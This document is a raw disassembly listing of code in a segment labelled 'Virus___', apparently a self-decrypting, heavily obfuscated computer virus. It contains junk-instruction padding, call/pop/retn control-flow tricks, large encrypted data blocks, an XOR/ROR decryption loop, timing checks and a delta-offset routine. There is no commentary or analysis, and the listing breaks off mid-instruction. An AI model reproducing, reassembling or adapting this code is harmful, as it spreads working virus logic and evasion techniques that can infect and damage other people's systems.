sub_5716D7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5716D7 proc near ; CODE XREF: Virus___:005716CFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5716D7 endp ; --------------------------------------------------------------------------- db 3Fh dd 7C757787h, 87CBC199h, 25BD8973h, 83095D2Fh, 840F00F8h dd 0A16h, 83DFB70Fh, 850F01F8h, 141h, 31359D8Bh, 0B8095Dh dd 8A000000h, 0FC00BF3h, 0C184h, 71958B00h, 0B6095D08h dd 1F88380h, 0D6840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 190424h, 50400000h, 97DF81C3h, 0FC1684F1h dd 3379958Bh, 0F883095Dh, 5B840F03h, 89000000h, 5D11DD95h dd 0B809h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0E74A63C3h, 8DD7BF0Fh, 5B89E0BDh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 2A3F103Dh, 0E7FF86B7h, 1F79958Bh, 1B8095Dh dd 60000000h, 26C9BD89h, 0B70F095Dh, 0BD8D61D2h, 5B89E0h dd 2BB1BD29h, 57B7095Dh, 0BA66E7FFh, 0BD8DA5ABh, 95D43B5h dd 38F0Fh, 0B70F0000h, 287E9D0h, 0DE90000h, 0D5000000h dd 5814978Ch, 5AA2A648h, 3E019C29h, 4D8485C7h, 5095Dh dd 8B600000h, 5D329D95h, 8B665709h, 0B8615BFAh, 5, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0A5C35545h, 21AAC09Eh dd 812E9h, 37BA6600h, 2F883C3h, 0EE850Fh, 0F08A0000h, 0B8h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 92950135h, 0BD299D2Dh, 0AE8573Ah, 0AE000000h dd 0F448C6EAh, 931DCE0h, 55958BF4h, 5A095D22h, 840FC00Bh dd 71h, 0AE9h, 0E1B1C500h, 530B03E0h, 83652E27h, 840F01F8h dd 0FFFFFF50h, 6870Fh, 950B0000h, 95D2B59h, 0F03F883h dd 0FFFEF184h, 8D8960FFh, 95D0421h, 2B61F38Bh, 0E28166C0h dd 0BD8DE3C8h, 5B89E0h, 26F59D2Bh, 0E7FF095Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 8EC35747h, 0C749FB9Eh dd 3C168276h, 0ADBD8DA9h, 6A095D45h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0F09FC350h dd 0CE58589h, 3EE9095Dh, 0BB000001h, 3B12D54Dh, 0F03F883h dd 2385h, 2D9D8B00h, 89095D22h, 5D0F81B5h, 41BD8D09h, 0F8095D47h dd 3ECB8166h, 113E910h, 958B0000h, 95D1019h, 0F05F883h dd 2B85h, 719D8B00h, 80095D22h, 0D4E98BDEh, 6A000006h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 0F897C355h, 0F06F883h, 3C85h, 21D28100h dd 8D567D42h, 5D4939BDh, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0B40F18D2h, 60A957F6h dd 9AE9E5A8h, 8B000000h, 5D2A319Dh, 7F88309h, 2D850Fh dd 8E80000h, 9F000000h, 1FE78470h, 89B1CAF7h, 5D10018Dh dd 0BD8D5B09h, 95D0CF5h, 19DB8166h, 103E98Dh, 8B660000h dd 6D9589D3h, 83095D0Fh, 850F0AF8h, 55h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 15h, 9DC35343h, 0AD8D09C5h dd 31095D24h, 5D1A599Dh, 31BD8D09h, 8B095D4Bh, 5D289195h dd 1BE909h, 6E80000h, 2C000000h, 22924844h, 0D9B70F7Fh dd 0BB66605Bh, 8D3164DCh, 95D05F9h, 6A5761h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0E3DEC1C3h dd 33271E80h, 0D577BB66h, 27AD8589h, 0F5B9095Dh, 892F912Bh dd 5D16258Dh, 3F8309h, 54840Fh, 9D890000h, 95D0BE5h, 0F30DA8Ah dd 28C0F60h, 60000000h, 0D161FC61h, 0E58529C9h, 47095D12h dd 0E9D38B66h, 0FFFFFFD1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 44C35545h, 435BD272h, 0C38156ADh, 48444E40h dd 30419D8Bh, 815F095Dh, 9A87F4EAh, 2DBD8948h, 0B7095D4Dh dd 0DD8D8D03h, 8B095D33h, 0BDB5FFD7h, 0E9095D02h, 7, 4D2ABD19h dd 60195A32h, 308C39B8h, 0DD9D0164h, 61095D02h, 0A432858Dh dd 8D50095Fh, 5D555BBDh, 328D8D09h, 0B8095D70h, 54831ABCh dd 730CF2Bh, 4947C8D0h, 0B58DF875h, 95D6FE2h, 704A8D8Dh dd 0CF2B095Dh, 0C933A4F3h, 0B8h, 74C00B00h, 51BD8346h dd 95D08h, 95FF0674h, 95D1411h, 4D2DB58Bh, 858D095Dh, 95FA432h dd 858DD0FFh, 95D4193h, 85C7D0FFh, 95D2A2Dh, 1, 27A9A58Bh dd 0B58B095Dh, 95D07E5h, 2B39AD8Bh, 0C033095Dh, 6A000CC2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 0FCF7C355h, 958B1A72h, 95D0FCDh, 571958Bh dd 0BD83095Dh, 95D04B5h, 9840F00h, 0B6000000h, 3D95FFFFh dd 0F8095D27h, 315BD83h, 0F00095Dh, 13C85h, 880F5100h dd 0 ; --------------------------------------------------------------------------- pop edx cmp dword ptr [ebp+95D0971h], 1 jnz loc_571D55 mov edx, 700F48ECh jmp loc_571C43 ; --------------------------------------------------------------------------- dd 29CD6869h, 34DB960Dh db 0A3h, 79h, 0Ah ; --------------------------------------------------------------------------- loc_571C43: ; CODE XREF: Virus___:00571C33j cmp dword ptr [ebp+95D219Dh], 0 jz loc_571D55 push 0 push ebp call sub_571C5B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571C5B proc near ; CODE XREF: Virus___:00571C53p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_571C5B endp ; --------------------------------------------------------------------------- mov esp, 16B0B03Ah mov [ebp+95D006Dh], ebx jmp loc_571C8E ; --------------------------------------------------------------------------- db 42h dd 3C73C677h, 99CAEF14h, 0F8D660D7h, 0ADE73268h db 92h, 15h ; --------------------------------------------------------------------------- loc_571C8E: ; CODE XREF: Virus___:00571C76j add [ebp+95D18CDh], esi cmp dword ptr [ebp+95D4D80h], 0 jz loc_571D55 cld pusha sub [ebp+95D13B1h], ecx popa lea eax, [ebp+95FA432h] pusha mov esi, [ebp+95D0F8Dh] movsx ecx, bx popa mov esi, [ebp+95D4D2Dh] jz loc_571CCE jb loc_571CCE clc loc_571CCE: ; CODE XREF: Virus___:00571CC1j ; Virus___:00571CC7j call eax mov bh, 0F1h mov ebx, [ebp+95D032Dh] mov byte ptr [ebp+95D3335h], 54h push 0 push ecx call sub_571CEA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571CEA proc near ; CODE XREF: Virus___:00571CE2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_571CEA endp ; --------------------------------------------------------------------------- dw 8279h ; --------------------------------------------------------------------------- mov edx, 6CEB6BAFh push 0D177DE01h xor dword ptr [esp], 2E3960F5h mov dx, 0A280h push dword ptr [ebp+95D08F1h] mov ebx, [ebp+95D1911h] lea eax, [ebp+95D3973h] call eax mov [ebp+95D31D9h], eax push 0 or [ebp+95D2725h], ecx push 0FFFFFFFFh mov edx, esi call eax mov [ebp+95D3175h], edx mov dl, 8Dh push dword ptr [ebp+95D1525h] mov [ebp+95D0049h], ebx call dword ptr [ebp+95D02BDh] mov dh, ah loc_571D55: ; CODE XREF: Virus___:00571C28j ; Virus___:00571C4Aj ... mov esi, [ebp+95D4D2Dh] push 0 push edi call sub_571D66 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571D66 proc near ; CODE XREF: Virus___:00571D5Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_571D66 endp ; --------------------------------------------------------------------------- test bh, ah mov dh, 0CAh retn ; --------------------------------------------------------------------------- clc mov esi, [ebp+95D2215h] jl $+6 or esi, esi jz loc_571D9A clc mov byte ptr [esi], 0 mov [ebp+95D2A25h], edi loc_571D9A: ; CODE XREF: Virus___:00571D8Aj mov [ebp+95D4D35h], eax push 0 push esi call sub_571DAB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571DAB proc near ; CODE XREF: Virus___:00571DA3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_571DAB endp ; --------------------------------------------------------------------------- cwde int 3 ; Trap to Debugger pause add al, 0D5h cmp eax, 0 jz loc_572116 or [ebp+95D2B19h], ecx mov eax, 0 jz loc_571DE1 mov ebx, [ebp+95D188Dh] loc_571DE1: ; CODE XREF: Virus___:00571DD5j cmp eax, 0 jz loc_571EAA push 0 push eax call sub_571DF5 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571DF5 proc near ; CODE XREF: Virus___:00571DEDp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_571DF5 endp ; --------------------------------------------------------------------------- aam 0D9h retn 7EB6h ; --------------------------------------------------------------------------- dw 5EA0h dd 830F60FEh, 4, 7678BB66h, 8ED8589h, 8361095Dh, 850F02F8h dd 32h, 43B0858Dh, 0BB66095Dh, 292D4157h, 89000009h, 5D264DB5h dd 52505009h, 310F08B6h, 585AD78Bh, 89240489h, 5D26998Dh dd 5A53C309h, 341B589h, 0B8095Dh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0DA70C350h, 0DC42058Eh, 291E9h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0D78B7817h dd 11058589h db 5Dh, 9 ; --------------------------------------------------------------------------- loc_571EAA: ; CODE XREF: Virus___:00571DE4j mov eax, 1 mov bl, 8Eh lea edi, [ebp+95D43B5h] mov ebx, [ebp+95D20D5h] jmp loc_571FBA ; --------------------------------------------------------------------------- push esi jnp loc_571ECF jnb $+6 loc_571ECF: ; CODE XREF: Virus___:00571EC3j pop edx jmp loc_571EE5 ; --------------------------------------------------------------------------- db 0BDh, 84h, 0D2h dd 8D2D028Dh, 2682E603h, 82AB6D6h ; --------------------------------------------------------------------------- xchg eax, ecx loc_571EE5: ; CODE XREF: Virus___:00571ED0j cmp eax, 2 jnz loc_571F58 jmp loc_571EFF ; --------------------------------------------------------------------------- retf 9771h ; --------------------------------------------------------------------------- dw 0D563h ; --------------------------------------------------------------------------- xchg eax, ebp push cs cwde lea eax, [eax-4Fh] xchg eax, esi loc_571EFF: ; CODE XREF: Virus___:00571EEEj lea edi, [ebp+95D45ADh] push esi mov ebx, [ebp+95D02F9h] pop ebx jmp loc_571FBA ; --------------------------------------------------------------------------- push 0 push edx call sub_571F1D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571F1D proc near ; CODE XREF: Virus___:00571F15p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_571F1D endp ; --------------------------------------------------------------------------- db 72h, 76h, 87h dd 98E4D674h, 9D89BB93h, 95D1529h, 191D9D8Bh, 0AE8095Dh dd 3E000000h, 0FB617C9Dh, 1A89DDCAh, 91BD89B7h, 5A095D09h ; --------------------------------------------------------------------------- loc_571F58: ; CODE XREF: Virus___:00571EE8j cmp eax, 3 jnz loc_571F9A jmp loc_571F7A ; --------------------------------------------------------------------------- dw 5B2Bh dd 8202E09Ah, 0C0589C2Ah, 72797BA4h, 5491DAF5h ; --------------------------------------------------------------------------- test edx, ecx loc_571F7A: ; CODE XREF: Virus___:00571F61j lea edi, [ebp+95D4741h] jp loc_571F92 jb loc_571F92 and ebx, [ebp+95D1009h] loc_571F92: ; CODE XREF: Virus___:00571F80j ; Virus___:00571F86j jmp loc_571FBA ; --------------------------------------------------------------------------- movzx ebx, di loc_571F9A: ; CODE XREF: Virus___:00571F5Bj cmp eax, 5 jnz loc_571FBA mov edx, [ebp+95D2FB1h] jmp loc_57205B ; --------------------------------------------------------------------------- pusha pusha movsx esi, cx mov ah, 0E9h popa push ecx stc pop edx popa loc_571FBA: ; CODE XREF: Virus___:00571EBDj ; Virus___:00571F0Dj ... push edi mov edx, esi mov ecx, 2F912BF5h push 0 push eax call sub_571FCD and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_571FCD proc near ; CODE XREF: Virus___:00571FC5p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_571FCD endp ; --------------------------------------------------------------------------- db 21h, 89h, 0B5h dd 95D03E9h, 0F003F83h, 6E84h, 6A0F3000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0D547C356h dd 8B019261h, 5D310195h, 6AC9D109h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 7C6AC351h dd 95898104h, 95D0C55h, 676509BAh, 9D8B4743h, 95D310Dh dd 0FFFF97E9h, 880F53FFh, 6, 17059D0Bh db 5Dh, 9, 5Bh ; --------------------------------------------------------------------------- loc_57205B: ; CODE XREF: Virus___:00571FA9j cmp eax, 5 jnz loc_572116 jge loc_572072 push esi mov edx, [ebp+95D0831h] pop ebx loc_572072: ; CODE XREF: Virus___:00572064j mov cx, ds mov [ebp+95D1A09h], esi test cl, 4 jnz loc_5720CB mov ebx, 379CC3BBh mov eax, 0 jmp loc_5720A7 ; --------------------------------------------------------------------------- pop eax fstp qword ptr [edi+1110EFBAh] add ds:0CA3EA813h, ch add dl, [esp+edi*4-2Ah] jl short loc_572116 sti loc_5720A7: ; CODE XREF: Virus___:0057208Ej jmp loc_572116 ; --------------------------------------------------------------------------- call near ptr loc_5720BF+5 mov eax, 0AEE5BC59h push 0FFFFFFF7h scasd mov esi, 48683ED6h push esi loc_5720BF: ; CODE XREF: Virus___:005720ACp add dword ptr [edx+0], 9D897634h mov ebp, 5B095D27h loc_5720CB: ; CODE XREF: Virus___:0057207Ej mov eax, [ebp+95D1F11h] push 0 push edx call sub_5720DC and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5720DC proc near ; CODE XREF: Virus___:005720D4p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5720DC endp ; --------------------------------------------------------------------------- dd 7674E763h, 0A8B9F941h, 0BE9h, 53100100h, 74ACD05Ah dd 0CA232565h, 0D680E0FFh, 8E931h, 0DCE20000h, 2305E93Bh db 0EAh, 0F9h ; --------------------------------------------------------------------------- loc_572116: ; CODE XREF: Virus___:00571DC4j ; Virus___:0057205Ej ... cmp dword ptr [ebp+95D02BDh], 0 jnz loc_572213 jg loc_57212F mov edx, [ebp+95D2F19h] loc_57212F: ; CODE XREF: Virus___:00572123j pusha mov bh, dl push ebx jmp loc_57214C ; --------------------------------------------------------------------------- push es std pop edx pop edx mov cl, 68h movsd mov edx, 51DB39DDh retn 0EAFEh ; --------------------------------------------------------------------------- db 0B6h dd 0AD8486D6h ; --------------------------------------------------------------------------- loc_57214C: ; CODE XREF: Virus___:00572133j pop ebx popa push eax mov edx, ecx mov [esp], eax add edx, [ebp+95D2321h] mov byte ptr [ebp+95D3335h], 45h mov bx, 0FB33h call near ptr loc_57216A+4 loc_57216A: ; CODE XREF: Virus___:00572165p imul ebp, [ecx+72h], 50D98B8Eh pusha push eax push edx rdtsc mov esi, eax pop edx pop eax jle loc_572185 mov edx, 1BC611D3h loc_572185: ; CODE XREF: Virus___:0057217Aj popa mov eax, [esp+4] mov ebx, 3BA7422h mov eax, [eax] pusha mov di, dx pusha push eax pop ecx mov ecx, 611A97B0h popa popa mov [esp+4], eax jle loc_5721AD mov dx, 0DFD3h loc_5721AD: ; CODE XREF: Virus___:005721A3j pop eax clc push dword ptr [ebp+95D08F1h] call near ptr loc_5721C1+3 xor dword ptr [edi], 889955D6h leave loc_5721C1: ; CODE XREF: Virus___:005721B5p test dword ptr [ebp+esi-77h], 5D2625B5h or [edx-73h], ebx test [ebx+39h], esi pop ebp or [edx+0], ebp push eax call sub_5721DC and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5721DC proc near ; CODE XREF: Virus___:005721D4p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 14h inc eax push eax retn sub_5721DC endp ; --------------------------------------------------------------------------- cmp eax, 0B058589h pop ebp or [esi-7Fh], esp rol dword ptr [edx-7E2F0069h], cl retn 8603h ; --------------------------------------------------------------------------- dw 7EFDh ; --------------------------------------------------------------------------- mov [ebp+95D02BDh], eax mov bx, 89EBh pop eax js loc_572213 mov ebx, ecx loc_572213: ; CODE XREF: Virus___:0057211Dj ; Virus___:0057220Bj cmp dword ptr [ebp+95D4D84h], 0 jz loc_572239 add bx, 0FC0Bh push dword ptr [ebp+95D1525h] or edx, [ebp+95D24A5h] stc call dword ptr [ebp+95D02BDh] cmc loc_572239: ; CODE XREF: Virus___:0057221Aj cmp eax, 0 jnz loc_572318 mov [ebp+95D1D51h], eax cmp dword ptr [ebp+95D0615h], 0 jz loc_5722D1 push 0 push eax call sub_572260 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572260 proc near ; CODE XREF: Virus___:00572258p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_572260 endp ; --------------------------------------------------------------------------- xchg esi, [ebp+7EC0B275h] mov ch, [ebx-6274AF66h] aad 8 pop ebp or edi, edi mov ch, 15h push es pop ebp or [edx+0], ebp push edx call sub_572291 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572291 proc near ; CODE XREF: Virus___:00572289p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_572291 endp ; --------------------------------------------------------------------------- db 34h, 0E2h, 0B7h dd 0C661414Eh, 0D88B1C35h, 1B8h, 0DD9D8B00h, 0E9095D29h dd 282h, 10E9h, 0BD981E00h, 67DC8E93h, 0CD8A30F6h, 0DA273F43h ; --------------------------------------------------------------------------- stosd loc_5722D1: ; CODE XREF: Virus___:0057224Fj push dword ptr [ebp+95D1525h] mov ebx, [ebp+95D31E9h] push dword ptr [ebp+95D1525h] or [ebp+95D1CC5h], esi mov edx, [ebp+95D1A45h] push dword ptr [ebp+95D02BDh] pusha mov dx, 1FB7h jnz loc_572306 mov [ebp+95D2135h], ecx loc_572306: ; CODE XREF: Virus___:005722FAj popa jmp loc_57253E ; --------------------------------------------------------------------------- jge loc_572318 mov [ebp+95D143Dh], eax loc_572318: ; CODE XREF: Virus___:0057223Cj ; Virus___:0057230Cj pop edi push 0 push esi call sub_572324 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572324 proc near ; CODE XREF: Virus___:0057231Cp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_572324 endp ; --------------------------------------------------------------------------- dd 12F810A0h, 0E8205A43h, 10h, 0DD71F070h, 1E3C9D7Eh, 0A63E6C0Bh dd 0C003E7C8h, 805BDE8Bh, 0BD8344F3h, 95D1659h, 0C4850F00h dd 0FC000000h, 333585C6h, 0E84D095Dh, 0Eh, 0F57A2AB8h dd 0E733E652h, 0AB373C84h, 5AF8EFB1h, 6860Fh, 85010000h dd 95D210Dh, 5D1E0668h, 66525044h, 0F8557BAh, 7E96031h dd 97000000h, 0C607366Ah, 840FC683h, 0 ; --------------------------------------------------------------------------- popa pop edx pop eax add dword ptr [esp], 5FD858A2h push 0 push ebp call sub_5723C1 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5723C1 proc near ; CODE XREF: Virus___:005723B9p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 19h inc ebp push ebp retn sub_5723C1 endp ; --------------------------------------------------------------------------- or al, 55h xlat dec esp idiv byte ptr [edi+711B5FFh] pop ebp or [ecx+5D1A399Dh], ecx or [ebp+5D397385h], ecx or [edx+327FA022h], edi call eax push 0 push ebx call sub_5723FB and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5723FB proc near ; CODE XREF: Virus___:005723F3p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5723FB endp ; --------------------------------------------------------------------------- mov ds, sp div byte ptr [bx+si] mov cl, ch inc ebx aas daa and edx, [ebp+95D2A19h] mov [ebp+95D1659h], eax mov ebx, [ebp+95D24A5h] mov eax, 0 push 0 push edi call sub_572437 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_572437 proc near ; CODE XREF: Virus___:0057242Fp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_572437 endp ; --------------------------------------------------------------------------- db 63h dd 0DE9E7h, 216F0000h, 919FDA03h, 31DD82E7h, 8949F038h dd 5D4D2DBDh, 3D858909h, 0B095D05h, 39840FC0h, 31000000h dd 5D264DB5h, 0E9958B09h, 0E9095D29h, 0BEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 5EC35747h, 0DB9416EAh dd 9D8BD562h, 95D0BD5h, 2BDB5FFh, 8166095Dh, 66CED2C2h dd 5544C381h, 0A432858Dh, 6A095Fh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 87991AC3h, 0FA52B21h dd 0BF0FD0BFh, 0E86090D6h, 0Ch, 2989EA13h, 0B6C4E8E1h dd 0B11571B8h, 0E959F78Bh, 10h, 26F16911h, 8FE2DC9Bh, 6C3446AFh dd 4C006AB1h, 0BB665061h, 6A90ED45h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 54FCC353h dd 4108FA86h, 10CD958Bh db 5Dh, 9 ; --------------------------------------------------------------------------- loc_57253E: ; CODE XREF: Virus___:00572307j push eax push esi lea edi, [ebp+95D555Bh] lea ecx, [ebp+95D7A23h] mov eax, 748323BCh sub ecx, edi loc_572553: ; CODE XREF: Virus___:00572559j xor [edi], al ror al, 1 inc edi dec ecx jnz short loc_572553 pop esi pop eax cmp dword ptr [ebp+95D0615h], 0 jz short loc_57256C mov ecx, [ebp+95D24D1h] loc_57256C: ; CODE XREF: Virus___:00572564j xor ecx, ecx mov eax, 0 or eax, eax jz loc_572623 cmp dword ptr [ebp+95D0851h], 0 jz short loc_57258A call dword ptr [ebp+95D1411h] loc_57258A: ; CODE XREF: Virus___:00572582j mov eax, 0 or eax, eax jnz short loc_57259C cmp dword ptr [ebp+95D4D35h], 1 jz short loc_5725A5 loc_57259C: ; CODE XREF: Virus___:00572591j cmp dword ptr [ebp+95D4D35h], 2 jnz short loc_5725B3 loc_5725A5: ; CODE XREF: Virus___:0057259Aj mov esi, [ebp+95D4D2Dh] lea eax, [ebp+95FA432h] call eax loc_5725B3: ; CODE XREF: Virus___:005725A3j cmp dword ptr [ebp+95D04B5h], 0 jz short loc_5725C2 call dword ptr [ebp+95D273Dh] loc_5725C2: ; CODE XREF: Virus___:005725BAj lea eax, [ebp+95D4193h] call eax cmp dword ptr [ebp+95D0865h], 2 jnz short loc_572602 mov esp, [ebp+95D27A9h] mov eax, [ebp+95D0615h] mov [esp], eax mov dword ptr [ebp+95D2A2Dh], 1 mov esi, [ebp+95D4D31h] mov ebp, [ebp+95D2B39h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_572602: ; CODE XREF: Virus___:005725D1j mov dword ptr [ebp+95D2A2Dh], 1 mov esp, [ebp+95D27A9h] mov esi, [ebp+95D07E5h] mov ebp, [ebp+95D2B39h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_572623: ; CODE XREF: Virus___:00572575j cmp dword ptr [ebp+95D04B5h], 0 jz short loc_57263B cmp dword ptr [ebp+95D273Dh], 0 jz short loc_57263B call dword ptr [ebp+95D273Dh] loc_57263B: ; CODE XREF: Virus___:0057262Aj ; Virus___:00572633j mov esi, [ebp+95D4D2Dh] retn ; --------------------------------------------------------------------------- mov ebx, edi mov [ebp+95D123Dh], esi mov ebx, 0D68A937h mov edx, 0 xor bh, 2Dh push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_572667 ; --------------------------------------------------------------------------- loc_572665: ; CODE XREF: Virus___:0057266Aj inc eax inc edi loc_572667: ; CODE XREF: Virus___:00572663j cmp byte ptr [edi], 0 jnz short loc_572665 xor ecx, ecx mov edi, [ebp+8] jmp short loc_572696 ; --------------------------------------------------------------------------- loc_572673: ; CODE XREF: Virus___:00572698j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_57268B ; --------------------------------------------------------------------------- loc_572688: ; CODE XREF: Virus___:0057268Ej mul ebx dec esi loc_57268B: ; CODE XREF: Virus___:00572686j cmp esi, 0 ja short loc_572688 pop ebx add ecx, eax pop eax inc edi dec eax loc_572696: ; CODE XREF: Virus___:00572671j or eax, eax jnz short loc_572673 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- mov ebx, 7C110149h push 0 push ebx call sub_5726B4 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5726B4 proc near ; CODE XREF: Virus___:005726ACp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5726B4 endp ; --------------------------------------------------------------------------- dd 0D3B6E1EFh ; --------------------------------------------------------------------------- loc_5726C8: ; CODE XREF: Virus___:0056F8B8j mov eax, ecx jmp loc_594581 ; --------------------------------------------------------------------------- dd offset loc_5B5985+1 db 13h dd 307CEC44h, 94F6F9ABh, 0A27C90EBh, 3047F110h, 11F6F9ABh dd 3300840h, 2000002h, 2 dup(1000000h), 30000000h, 0F6F9ABh dd 4 dup(0) dd 2F000000h, 0FE005795h, 300579Bh, 0CE005758h, 1C005739h dd 71005751h, 9C0057CFh, 9C0057DBh, 39005744h, 0C9005743h dd 70057C5h, 140057ADh, 1A00572Ch, 8400575Dh, 84005769h dd 440057ADh, 8300573Dh, 120057B3h, 0CB005786h, 7C0057A0h dd 23005735h, 23005799h, 4400573Dh, 6F005770h, 380057E4h dd 0C50057DEh, 0F10057E5h, 0B600579Dh, 5C0057BDh, 7200575Dh dd 0A40057D7h, 580057E0h, 42005792h, 48005745h, 0B200578Ah dd 0BF005773h, 74005782h, 3B0057BBh, 0A000579Ch, 80005778h dd 80005759h, 0AD00574Dh, 0D300577Fh, 2E0057B7h, 1A0057D4h dd 7D0057AAh, 5D00579Bh, 1F0057E5h, 4B005746h, 0EE00574Bh dd 0A6005733h, 62005777h, 37005762h, 8D005733h, 0C10057B9h dd 6B005739h, 79005753h, 3B00572Ch, 5F00573Dh, 51005742h dd 9C005769h, 0A4005799h, 0FE0057C4h, 1B005734h, 0C3005754h dd 26005758h, 0E40057EFh, 3600574Ch, 1C005748h, 0F10057E8h dd 0A5005741h, 0EE00578Bh, 0F9005795h, 2A0057E6h, 0D20057E5h dd 8800573Ah, 0C90057EFh, 770057C9h, 440057B6h, 56005786h dd 0C70057A0h, 0BF0057D9h, 0E40057BBh, 7A0057BBh, 830057E3h dd 2700579Ch, 0E1005750h, 0A200577Fh, 130057E7h, 5900579Fh dd 3A00576Fh, 5E0057E0h, 6200575Ah, 0D6005776h, 940057BDh dd 2400578Fh, 0D1005786h, 3E0057D7h, 730057DDh, 0AC0057C3h dd 9005749h, 0BA00579Bh, 0D60057CBh, 6800579Eh, 53005790h dd 5737h, 0DC0057DDh, 4400573Ch, 500057EBh, 0F500579Bh dd 410057C1h, 0F90057ABh, 900057BAh, 120057CBh, 0DE0057BEh dd 1100572Dh, 3C005742h, 4005756h, 0AA005750h, 320057ADh dd 0C700576Fh, 150057B6h, 0C60057ACh, 41005797h, 0B6005768h dd 390057AFh, 10005772h, 0E6005794h, 50057DDh, 0D200574Bh dd 6E0057ADh, 7200579Ah, 8F00579Ch, 0CB00574Eh, 0C00574Dh dd 0EE00579Dh, 0D8005737h, 0FD005753h, 7C00573Fh, 62005764h dd 2D00573Eh, 74005783h, 9B0057B1h, 390057A9h, 7A005796h dd 27005783h, 99005746h, 0EF0057E3h, 790057B3h, 0F300579Ch dd 1005767h, 0A6005785h, 40057A2h, 5A005739h, 0AB0057DEh dd 93005730h, 58005796h, 8B005757h, 610057BBh, 3700573Dh dd 0DA0057E4h, 8E00579Bh, 7D005787h, 0B300576Ch, 0F6005768h dd 0BE005755h, 610057DAh ; --------------------------------------------------------------------------- xchg dl, [edi+0] loc_5729AF: ; CODE XREF: Virus___:005945F1j ; Virus___:005945FBj ... pusha pushf cld call $+5 pop edi sub edi, 95D7E87h mov eax, edi add edi, 